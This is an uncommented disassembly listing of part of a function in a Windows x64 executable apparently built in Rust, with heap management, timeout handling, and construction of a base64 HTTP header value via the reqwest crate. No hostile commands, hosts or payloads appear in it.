movups xmm0, xmmword [rbp + 0x2440]
movups xmm1, xmmword [rbp + 0x2450]
movups xmm2, xmmword [rbp + 0x2460]
movups xmmword [rax + 0xa0], xmm0
movups xmmword [rax + 0xb0], xmm1
movups xmmword [rax + 0xc0], xmm2
lock inc qword [rax]
jle 0x14010ec94
mov qword [rbp - 0x50], rdi
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0x2150]
mov r8d, 0xd8
call fcn.140110cd0
mov qword [rbp + 0x90], r13
movdqa xmm0, xmmword [rbp + 0x22e0]
movaps xmm1, xmmword [rbp + 0x22f0]
movdqu xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm1
mov rax, qword [rbp + 0x2300]
mov qword [rbp + 0xb8], rax
cmp rbx, 2
mov dword [rbp + 0x2920], r14d
jne 0x140109647
mov r14d, 2
jmp 0x140109854
test rbx, rbx
je 0x140109681
mov eax, dword [rbp + 0x23b0]
mov ecx, dword [rbp + 0x23b3]
mov dword [rbp + 0x27e0], eax
mov dword [rbp + 0x27e3], ecx
mov r15d, 2
movdqa xmm9, xmm6
mov r14, qword [rbp + 0x2768]
mov rdx, r14
mov rdi, r12
jmp 0x140109795
lea rcx, [rbp + 0x2440]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.140030390
movaps xmm7, xmmword [rbp + 0x2440]
movaps xmm8, xmmword [rbp + 0x2450]
movzx ebx, byte [rbp + 0x2460]
mov eax, dword [rbp + 0x2461]
mov dword [rbp + 0x23b0], eax
mov eax, dword [rbp + 0x2464]
mov dword [rbp + 0x23b3], eax
movups xmm0, xmmword [rbp + 0x2468]
movaps xmmword [rbp + 0x2590], xmm0
movups xmm0, xmmword [rbp + 0x2478]
movaps xmmword [rbp + 0x25a0], xmm0
movups xmm0, xmmword [rbp + 0x2488]
movaps xmmword [rbp + 0x25b0], xmm0
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140109714
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4ad
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4ad
mov rdi, rax
movdqa xmm0, xmmword [rbp + 0x2590]
movaps xmm1, xmmword [rbp + 0x25a0]
movaps xmm2, xmmword [rbp + 0x25b0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
movq rdx, xmm6
mov eax, dword [rbp + 0x23b0]
mov ecx, dword [rbp + 0x23b3]
mov dword [rbp + 0x27e0], eax
mov dword [rbp + 0x27e3], ecx
lea r14, [0x1401552d0]
pxor xmm9, xmm9
mov r15, rdx
test rdx, rdx
je 0x140109812
mov byte [rbp + 0x2888], bl
pshufd xmm0, xmm6, 0xee
movq rdx, xmm0
movups xmm0, xmmword [0x140155bb8]
movaps xmmword [rbp + 0x23c0], xmm0
movdqu xmm0, xmmword [0x140155ba8]
movdqa xmmword [rbp + 0x23b0], xmm0
lea rbx, [rbp + 0x2440]
mov rcx, rbx
call fcn.1400274a0
lea rcx, [rbp + 0x2590]
lea rdx, [rbp - 0x50]
lea r8, [rbp + 0x23b0]
mov r9, rbx
call fcn.140049240
cmp byte [rbp + 0x25b0], 2
je 0x140109804
mov rax, qword [rbp + 0x25a8]
lea rcx, [rbp + 0x25a0]
mov rdx, qword [rbp + 0x2590]
mov r8, qword [rbp + 0x2598]
call qword [rax + 0x10]
mov r13, qword [rbp + 0x90]
movzx ebx, byte [rbp + 0x2888]
mov byte [rbp + 0x2888], bl
test r13, r13
je 0x140109829
lea rcx, [rbp + 0x98]
call fcn.140051550
mov qword [rbp + 0x90], 1
mov qword [rbp + 0x98], rdi
mov qword [rbp + 0xa0], r14
movdqu xmmword [rbp + 0xa8], xmm9
mov r13d, 1
mov r14, r15
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x23f0], xmm0
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x23e0], xmm3
movaps xmmword [rbp + 0x23d0], xmm2
movaps xmmword [rbp + 0x23c0], xmm1
movaps xmmword [rbp + 0x23b0], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2928], rax
mov r15d, dword [rbp + 0x18]
mov eax, dword [rbp + 0x3c]
mov dword [rbp + 0x2330], eax
movups xmm0, xmmword [rbp + 0x2c]
movaps xmmword [rbp + 0x2320], xmm0
movups xmm0, xmmword [rbp + 0x1c]
movaps xmmword [rbp + 0x2310], xmm0
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x48]
mov eax, dword [rbp + 0x50]
mov dword [rbp + 0x28e4], eax
mov eax, dword [rbp + 0x54]
mov dword [rbp + 0x28e0], eax
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x28d8], eax
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x28d4], eax
mov eax, dword [rbp + 0x60]
mov dword [rbp + 0x2904], eax
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x2880], eax
mov eax, dword [rbp + 0x68]
mov dword [rbp + 0x2878], eax
mov eax, dword [rbp + 0x6c]
mov dword [rbp + 0x28f8], eax
movzx eax, byte [rbp + 0x88]
mov byte [rbp + 0x27d0], al
mov eax, dword [rbp + 0x8c]
mov dword [rbp + 0x26fb], eax
mov eax, dword [rbp + 0x89]
mov dword [rbp + 0x26f8], eax
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x23a0], rax
mov eax, dword [rbp + 0x27e3]
mov dword [rbp + 0x26f3], eax
mov eax, dword [rbp + 0x27e0]
mov dword [rbp + 0x26f0], eax
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0x28dc], eax
movups xmm0, xmmword [rbp + 0x78]
movaps xmmword [rbp + 0x27c0], xmm0
movdqu xmm0, xmmword [rbp + 0x98]
movdqu xmm1, xmmword [rbp + 0xa8]
movdqa xmmword [rbp + 0x2390], xmm1
movdqa xmmword [rbp + 0x2380], xmm0
movzx eax, word [rbp + 0x74]
mov word [rbp + 0x2916], ax
movzx eax, word [rbp + 0x76]
mov word [rbp + 0x2914], ax
test rbx, rbx
je 0x1401099f4
js 0x14010b1f5
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x1401099d5
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1401099e5
mov rcx, rax
mov qword [0x140195bd0], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x1401099f9
mov edx, 1
mov rcx, rbx
call fcn.14011dd70
ud2
mov eax, 1
mov qword [rbp + 0x28e8], r13
mov qword [rbp + 0x2778], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call fcn.140110cd0
movaps xmm0, xmmword [rbp + 0x27c0]
movaps xmmword [rbp + 0x27a0], xmm0
movzx eax, byte [rbp + 0x27d0]
mov byte [rbp + 0x27b0], al
cmp r15d, 0x3b9aca00
mov eax, dword [rbp + 0x2920]
cmovne eax, r15d
mov dword [rbp + 0x2920], eax
mov rax, qword [rbp + 0x2908]
cmovne rax, qword [rbp + 0x2928]
mov qword [rbp + 0x2908], rax
mov r8, qword [rbp + 0x2918]
cmp qword [r8 + 0x10], 0
je 0x14010b1db
movaps xmm0, xmmword [rbp + 0x23b0]
movaps xmm1, xmmword [rbp + 0x23c0]
movaps xmm2, xmmword [rbp + 0x23d0]
movaps xmm3, xmmword [rbp + 0x23e0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x20], xmm3
movaps xmm0, xmmword [rbp + 0x23f0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x2400]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [rbp + 0x2310]
movaps xmm1, xmmword [rbp + 0x2320]
movaps xmmword [rbp + 0x2700], xmm0
movaps xmmword [rbp + 0x2710], xmm1
mov eax, dword [rbp + 0x2330]
mov dword [rbp + 0x2720], eax
movzx eax, byte [rbp + 0x27d0]
mov byte [rbp + 0x2420], al
movaps xmm0, xmmword [rbp + 0x27c0]
movaps xmmword [rbp + 0x2410], xmm0
mov eax, dword [rbp + 0x26f8]
mov ecx, dword [rbp + 0x26fb]
mov dword [rbp + 0x28b3], ecx
mov dword [rbp + 0x28b0], eax
mov rax, qword [rbp + 0x23a0]
mov qword [rbp + 0x25b0], rax
movdqa xmm0, xmmword [rbp + 0x2380]
movdqa xmm1, xmmword [rbp + 0x2390]
movdqa xmmword [rbp + 0x25a0], xmm1
movdqa xmmword [rbp + 0x2590], xmm0
mov rax, qword [r8 + 0x10]
mov rax, qword [rax + 0x60]
nop word cs:[rax + rax]
test al, 1
jne 0x140109dad
cmp rax, 0xfffffffffffffffe
je 0x14010b47f
mov rcx, qword [r8 + 0x10]
lea rdx, [rax + 2]
lock cmpxchg qword [rcx + 0x60], rdx
jne 0x140109b50
mov qword [rbp + 0x22d8], r14
mov qword [rbp + 0x22d0], r12
mov r12, qword [r8 + 0x10]
lea rcx, [r12 + 0x50]
mov r13, rdi
mov edi, 1
mov r14, rbx
mov ebx, 1
lock xadd qword [r12 + 0x58], rbx
mov rdx, rbx
call fcn.1400cd810
and ebx, 0x1f
imul rcx, rbx, 0x118
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmm3, xmmword [rbp - 0x20]
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x30], xmm3
movaps xmm2, xmmword [rbp - 0x10]
movups xmmword [rax + rcx + 0x40], xmm2
movaps xmm2, xmmword [rbp]
movups xmmword [rax + rcx + 0x50], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
mov rdx, qword [rbp + 0x2928]
mov qword [rax + rcx + 0x60], rdx
mov dword [rax + rcx + 0x68], r15d
mov edx, dword [rbp + 0x2720]
mov dword [rax + rcx + 0x8c], edx
movaps xmm0, xmmword [rbp + 0x2700]
movaps xmm1, xmmword [rbp + 0x2710]
movups xmmword [rax + rcx + 0x7c], xmm1
movups xmmword [rax + rcx + 0x6c], xmm0
mov qword [rax + rcx + 0x90], r13
mov r15, r14
mov qword [rax + rcx + 0x98], r14
mov edx, dword [rbp + 0x28e4]
mov dword [rax + rcx + 0xa0], edx
mov edx, dword [rbp + 0x28e0]
mov dword [rax + rcx + 0xa4], edx
mov edx, dword [rbp + 0x28d8]
mov dword [rax + rcx + 0xa8], edx
mov edx, dword [rbp + 0x28d4]
mov dword [rax + rcx + 0xac], edx
mov edx, dword [rbp + 0x2904]
mov dword [rax + rcx + 0xb0], edx
mov edx, dword [rbp + 0x2880]
mov dword [rax + rcx + 0xb4], edx
mov edx, dword [rbp + 0x2878]
mov dword [rax + rcx + 0xb8], edx
mov edx, dword [rbp + 0x28f8]
mov dword [rax + rcx + 0xbc], edx
mov edx, dword [rbp + 0x28dc]
mov dword [rax + rcx + 0xc0], edx
movzx edx, word [rbp + 0x2916]
mov word [rax + rcx + 0xc4], dx
movzx edx, word [rbp + 0x2914]
mov word [rax + rcx + 0xc6], dx
movzx edx, byte [rbp + 0x2420]
mov byte [rax + rcx + 0xd8], dl
movaps xmm0, xmmword [rbp + 0x2410]
movups xmmword [rax + rcx + 0xc8], xmm0
mov edx, dword [rbp + 0x28b0]
mov r8d, dword [rbp + 0x28b3]
mov dword [rax + rcx + 0xdc], r8d
mov dword [rax + rcx + 0xd9], edx
mov rdx, qword [rbp + 0x28e8]
mov qword [rax + rcx + 0xe0], rdx
mov rdx, qword [rbp + 0x25b0]
mov qword [rax + rcx + 0x108], rdx
movdqa xmm0, xmmword [rbp + 0x2590]
movdqa xmm1, xmmword [rbp + 0x25a0]
movdqu xmmword [rax + rcx + 0xf8], xmm1
movdqu xmmword [rax + rcx + 0xe8], xmm0
mov qword [rax + rcx + 0x110], rsi
mov ecx, ebx
shl rdi, cl
lock or qword [rax + 0x2310], rdi
mov rax, qword [r12 + 0x78]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r12 + 0x78], rcx
jne 0x140109d60
test rax, rax
mov r14, qword [rbp + 0x22d8]
jne 0x140109d9e
mov rcx, qword [r12 + 0x68]
mov rax, qword [r12 + 0x70]
mov qword [r12 + 0x70], 0
lock and qword [r12 + 0x78], 0xfffffffffffffffd
test rax, rax
je 0x140109d9e
call qword [rax + 8]
mov rbx, r15
mov r12, qword [rbp + 0x22d0]
jmp 0x140109e89
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x2490], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x2480], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x2470], xmm3
movaps xmmword [rbp + 0x2460], xmm2
movaps xmmword [rbp + 0x2450], xmm1
movaps xmmword [rbp + 0x2440], xmm0
movaps xmm0, xmmword [rbp + 0x2700]
movaps xmm1, xmmword [rbp + 0x2710]
movaps xmmword [rbp + 0x2840], xmm0
movaps xmmword [rbp + 0x2850], xmm1
mov eax, dword [rbp + 0x2720]
mov dword [rbp + 0x2860], eax
movzx eax, byte [rbp + 0x2420]
mov byte [rbp + 0x28a0], al
movaps xmm0, xmmword [rbp + 0x2410]
movaps xmmword [rbp + 0x2890], xmm0
mov eax, dword [rbp + 0x28b0]
mov ecx, dword [rbp + 0x28b3]
mov dword [rbp + 0x2780], eax
mov dword [rbp + 0x2783], ecx
movdqa xmm0, xmmword [rbp + 0x2590]
movdqa xmm1, xmmword [rbp + 0x25a0]
movdqa xmmword [rbp + 0x27e0], xmm0
movdqa xmmword [rbp + 0x27f0], xmm1
mov rax, qword [rbp + 0x25b0]
mov qword [rbp + 0x2800], rax
mov rcx, qword [rbp + 0x28e8]
cmp rcx, 2
jne 0x14010b250
cmp r14, 2
mov qword [rbp + 0x2770], rbx
jne 0x140109eae
mov ebx, dword [rbp + 0x2920]
cmp ebx, 0x3b9aca00
jne 0x140109eee
mov edi, 0x3b9aca00
jmp 0x140109f47
mov eax, dword [rbp + 0x26f0]
mov ecx, dword [rbp + 0x26f3]
mov dword [rbp + 0x26eb], ecx
mov dword [rbp + 0x26e8], eax
mov edi, dword [rbp + 0x2920]
cmp edi, 0x3b9aca00
jne 0x14010a07a
mov ebx, 0x3b9aca00
lea r13, [rbp - 0x48]
movzx r15d, byte [rbp + 0x2888]
jmp 0x14010a0e6
call fcn.1400e81b0
add rax, qword [rbp + 0x2908]
jb 0x14010ecda
mov edi, edx
add edi, ebx
cmp edi, 0x3b9ac9ff
jbe 0x140109f1b
inc rax
je 0x14010ecda
add edi, 0xc4653600
mov ecx, edi
shr ecx, 9
imul r15, rcx, 0x44b83
shr r15, 0x27
add r15, rax
jb 0x14010b3c1
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub edi, eax
call fcn.1400e0340
test rax, rax
je 0x14010ecac
mov rbx, rax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140109f7d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4b4
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4b4
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rbx
mov qword [rbp + 0x2840], rcx
lea rax, fcn.140077ab0
mov qword [rbp + 0x2848], rax
lea rax, [rbp + 0x2840]
mov qword [rbp + 0x2890], rax
mov qword [rbp + 0x27e0], rsi
lea rsi, [rbp + 0x27e8]
mov byte [rbp + 0x27f0], 0
mov eax, dword [rbp + 0x28b0]
mov ecx, dword [rbp + 0x28b3]
mov dword [rbp + 0x27f1], eax
mov dword [rbp + 0x27f4], ecx
cmp edi, 0x3b9aca00
jne 0x14010a1f2
mov rax, qword [rbp + 0x27e0]
mov qword [rbp + 0x27e8], rax
lea rcx, [rbp - 0x50]
lea r8, [rbp + 0x2890]
mov rdx, rsi
call fcn.1400c9ce0
mov r12, qword [rbp + 0x10]
cmp r12, 5
jne 0x14010a358
mov byte [rbp + 0x27f0], 3
lea rdi, [rbp - 0x50]
lea rbx, [rbp + 0x2890]
nop dword [rax + rax]
call fcn.1400e05e0
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.1400c9ce0
mov r12, qword [rbp + 0x10]
cmp r12, 5
jne 0x14010a358
mov byte [rbp + 0x27f0], 3
jmp 0x14010a050
call fcn.1400e81b0
add rax, qword [rbp + 0x2908]
lea r13, [rbp - 0x48]
movzx r15d, byte [rbp + 0x2888]
jb 0x14010ecda
mov ebx, edx
add ebx, edi
cmp ebx, 0x3b9ac9ff
jbe 0x14010a0b3
inc rax
je 0x14010ecda
add ebx, 0xc4653600
mov ecx, ebx
shr ecx, 9
imul rdx, rcx, 0x44b83
shr rdx, 0x27
add rdx, rax
mov qword [rbp + 0x2928], rdx
jb 0x14010b3c1
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub ebx, eax
call fcn.1400e0340
test rax, rax
je 0x14010ecac
mov rdi, rax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010a11c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4b4
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4b4
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
mov qword [rbp + 0x2340], rcx
lea rax, fcn.140077ab0
mov qword [rbp + 0x2348], rax
lea rax, [rbp + 0x2340]
mov qword [rbp + 0x2378], rax
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r12
mov rax, qword [rbp + 0x2768]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
pshufd xmm0, xmm6, 0xee
movq qword [rbp - 0x30], xmm0
lea r14, [rbp - 0x28]
movups xmmword [rbp - 0x28], xmm7
movups xmmword [rbp - 0x18], xmm8
mov byte [rbp - 8], r15b
mov eax, dword [rbp + 0x26e8]
mov ecx, dword [rbp + 0x26eb]
mov dword [rbp - 7], eax
mov dword [rbp - 4], ecx
mov byte [rbp + 1], 0
lea rcx, [rbp + 2]
lea rdx, [rbp + 0x2440]
mov r8d, 0x146
call fcn.140110cd0
lea r12, [rbp + 8]
lea rsi, [rbp + 0x50]
xor eax, eax
movzx eax, al
lea rcx, [0x14010f3ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rdi, qword [rbp + 0x2928]
jmp rax
mov rax, qword [rbp + 0x27e0]
mov qword [rbp + 0x27e8], rax
lea rcx, [rbp - 0x50]
lea r8, [rbp + 0x2890]
mov rdx, rsi
call fcn.1400c9ce0
mov r12, qword [rbp + 0x10]
cmp r12, 5
jne 0x14010a358
mov byte [rbp + 0x27f0], 3
call fcn.1400e81b0
mov r8d, edx
cmp rax, r15
jb 0x14010a244
jne 0x14010a2e1
cmp r8d, edi
jae 0x14010a2e1
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x48], edi
lea rbx, [rbp - 0x50]
mov rcx, rbx
mov rdx, rax
call fcn.1400e8360
xor r13d, r13d
cmp edx, 0x3b9aca00
cmove edx, r13d
mov ecx, 0
cmovne rcx, rax
call fcn.1400e07c0
lea r14, [rbp + 0x2890]
jmp 0x14010a2aa
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x48], edi
mov rcx, rbx
mov rdx, rax
call fcn.1400e8360
cmp edx, 0x3b9aca00
cmove edx, r13d
mov ecx, 0
cmovne rcx, rax
call fcn.1400e07c0
mov rcx, rbx
mov rdx, rsi
mov r8, r14
call fcn.1400c9ce0
mov r12, qword [rbp + 0x10]
cmp r12, 5
jne 0x14010a358
mov byte [rbp + 0x27f0], 3
call fcn.1400e81b0
mov r8d, edx
cmp rax, r15
jb 0x14010a280
jne 0x14010a2e1
cmp r8d, edi
jb 0x14010a280
mov rdx, qword [rbp + 0x27e8]
mov r12d, 4
test rdx, rdx
je 0x14010a4e1
mov rax, qword [rdx + 0x30]
mov rbx, qword [rbp + 0x28f0]
mov rsi, qword [rbp + 0x2908]
mov r14d, dword [rbp + 0x2920]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14010a310
and eax, 0xa
cmp eax, 8
jne 0x14010a332
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x27e8]
test rax, rax
je 0x14010a350
lock dec qword [rax]
jne 0x14010a350
mov rcx, qword [rbp + 0x27e8]
call fcn.1400c6bb0
xor r15d, r15d
jmp 0x14010a4ba
mov r15, qword [rbp - 0x50]
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x2440], xmm0
movups xmm0, xmmword [rbp - 0x38]
movaps xmmword [rbp + 0x2450], xmm0
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0x2460], xmm0
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x2470], xmm0
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp + 0x2480], xmm0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2490], rax
movups xmm0, xmmword [rbp + 0x18]
movaps xmmword [rbp + 0x2590], xmm0
movups xmm0, xmmword [rbp + 0x28]
movaps xmmword [rbp + 0x25a0], xmm0
movdqu xmm0, xmmword [rbp + 0x38]
movdqa xmmword [rbp + 0x25b0], xmm0
mov rdx, qword [rbp + 0x27e8]
test rdx, rdx
mov rbx, qword [rbp + 0x28f0]
mov rsi, qword [rbp + 0x2908]
je 0x14010a420
mov rax, qword [rdx + 0x30]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14010a3e0
and eax, 0xa
cmp eax, 8
jne 0x14010a402
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x27e8]
test rax, rax
je 0x14010a420
lock dec qword [rax]
jne 0x14010a420
mov rcx, qword [rbp + 0x27e8]
call fcn.1400c6bb0
cmp r12d, 4
je 0x14010ecf4
mov rax, qword [rbp + 0x2490]
mov qword [rbp + 0x2750], rax
movaps xmm0, xmmword [rbp + 0x2480]
movaps xmmword [rbp + 0x2740], xmm0
movaps xmm0, xmmword [rbp + 0x2440]
movaps xmm1, xmmword [rbp + 0x2450]
movaps xmm2, xmmword [rbp + 0x2460]
movaps xmm3, xmmword [rbp + 0x2470]
movaps xmmword [rbp + 0x2730], xmm3
movaps xmmword [rbp + 0x2720], xmm2
movaps xmmword [rbp + 0x2710], xmm1
movaps xmmword [rbp + 0x2700], xmm0
movdqa xmm0, xmmword [rbp + 0x2590]
movdqa xmm1, xmmword [rbp + 0x25a0]
movaps xmm2, xmmword [rbp + 0x25b0]
movdqa xmmword [rbp + 0x2410], xmm0
movdqa xmmword [rbp + 0x2420], xmm1
movaps xmmword [rbp + 0x2430], xmm2
mov byte [rbp + 0x27f0], 1
mov r14d, dword [rbp + 0x2920]
mov rcx, qword [rbp + 0x2840]
mov rax, qword [rbp + 0x2848]
call qword [rax + 0x18]
cmp r12d, 3
mov rcx, qword [rbp + 0x2918]
jne 0x14010ca9b
jmp 0x14010caae
xor r15d, r15d
mov rbx, qword [rbp + 0x28f0]
mov rsi, qword [rbp + 0x2908]
jmp 0x14010a4b3
test r12, r12
je 0x14010a556
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x14010a556
mov rsi, r15
lea r15, [r12 - 1]
mov rcx, qword [r12 - 1]
mov rax, qword [r12 + 7]
call qword [rax]
mov rax, qword [r12 + 7]
cmp qword [rax + 8], 0
je 0x14010a541
mov r8, qword [r15]
cmp qword [rax + 0x10], 0x11
jb 0x14010a532
mov r8, qword [r8 - 8]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, rsi
mov rsi, r13
test rbx, rbx
je 0x14010a6a3
mov qword [rbp + 0x2700], rdi
mov qword [rbp + 0x2708], rbx
mov rax, qword [rbp + 0x2928]
mov qword [rbp + 0x2710], rax
mov qword [rbp + 0x22e0], r14
mov qword [rbp + 0x22e8], r15
mov qword [rbp + 0x2388], rsi
mov qword [rbp + 0x2380], 0
mov qword [rbp + 0x23b0], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp + 0x23c0], rax
mov qword [rbp + 0x23c8], 1
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x23d0], rax
mov qword [rbp + 0x23d8], 1
lea rdx, [0x140152a48]
lea rcx, [rbp + 0x2380]
lea r8, [rbp + 0x23b0]
call fcn.1400067c0
mov rdi, qword [rbp + 0x2380]
test al, al
je 0x14010a62c
test rdi, rdi
lea rbx, str.formatter_error
cmovne rbx, rdi
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14010a683
lea rsi, [rbx - 1]
mov rcx, qword [rbx - 1]
mov rax, qword [rbx + 7]
call qword [rax]
mov rax, qword [rbx + 7]
jmp 0x14010a64d
test rdi, rdi
je 0x14010a683
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14010a683
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
cmp qword [rax + 8], 0
je 0x14010a671
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14010a662
mov r8, qword [r8 - 8]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2700], 0
je 0x14010a6a3
mov r8, qword [rbp + 0x2708]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp - 0x50]
call fcn.140062920
mov rdx, qword [rbp + 0x2848]
mov r8, qword [rbp + 0x2850]
xor eax, eax
nop dword [rax]
cmp r8, rax
je 0x14010a718
movzx r10d, byte [rdx + rax]
cmp r10b, 0x20
setae cl
cmp r10b, 0x7f
setne r9b
inc rax
cmp r10b, 9
je 0x14010a6c0
and cl, r9b
jne 0x14010a6c0
mov byte [rbp - 0x30], 2
lea rax, [0x140156ba0]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.18_srcutil.rs
lea r9, [0x140156670]
lea r8, [rbp + 0x27c0]
mov edx, 0x22
call fcn.14011e350
ud2
lea rcx, [rbp - 0x50]
call fcn.140004950
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x27e0], xmm0
movaps xmmword [rbp + 0x27f0], xmm1
mov eax, dword [rbp - 0x2f]
mov dword [rbp + 0x2801], eax
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x2804], eax
mov byte [rbp + 0x2800], 1
cmp qword [rbp + 0x2840], 0
je 0x14010a770
mov r8, qword [rbp + 0x2848]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2410], 0
je 0x14010a790
mov r8, qword [rbp + 0x2418]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp + 0x2538], 2
jne 0x14010a858
mov rsi, qword [rbp + 0x2440]
mov r14d, dword [rbp + 0x2448]
mov rax, qword [rbp + 0x2450]
mov qword [rbp + 0x2918], rax
mov rdi, qword [rbp + 0x2458]
lea rdx, [rbp + 0x2460]
lea rcx, [rbp + 0x1fb0]
mov r8d, 0xd8
call fcn.140110cd0
movdqu xmm0, xmmword [rbp + 0x2540]
movdqu xmm1, xmmword [rbp + 0x2550]
movdqa xmmword [rbp + 0x2350], xmm0
movdqa xmmword [rbp + 0x2360], xmm1
mov rax, qword [rbp + 0x2560]
mov qword [rbp + 0x2370], rax
mov rbx, qword [rbp + 0x2568]
mov r12, qword [rbp + 0x2570]
mov r15, qword [rbp + 0x2578]
movdqu xmm6, xmmword [rbp + 0x2580]
mov rax, qword [rbp + 0x27f8]
lea rcx, [rbp + 0x27f0]
mov rdx, qword [rbp + 0x27e0]
mov r8, qword [rbp + 0x27e8]
call qword [rax + 0x10]
mov rax, r15
mov r13d, 2
mov r15, qword [rbp + 0x2930]
jmp 0x1401094a0
lea rcx, [rbp + 0x2458]
movups xmm0, xmmword [0x140155bd8]
movaps xmmword [rbp + 0x2850], xmm0
movups xmm0, xmmword [0x140155bc8]
movaps xmmword [rbp + 0x2840], xmm0
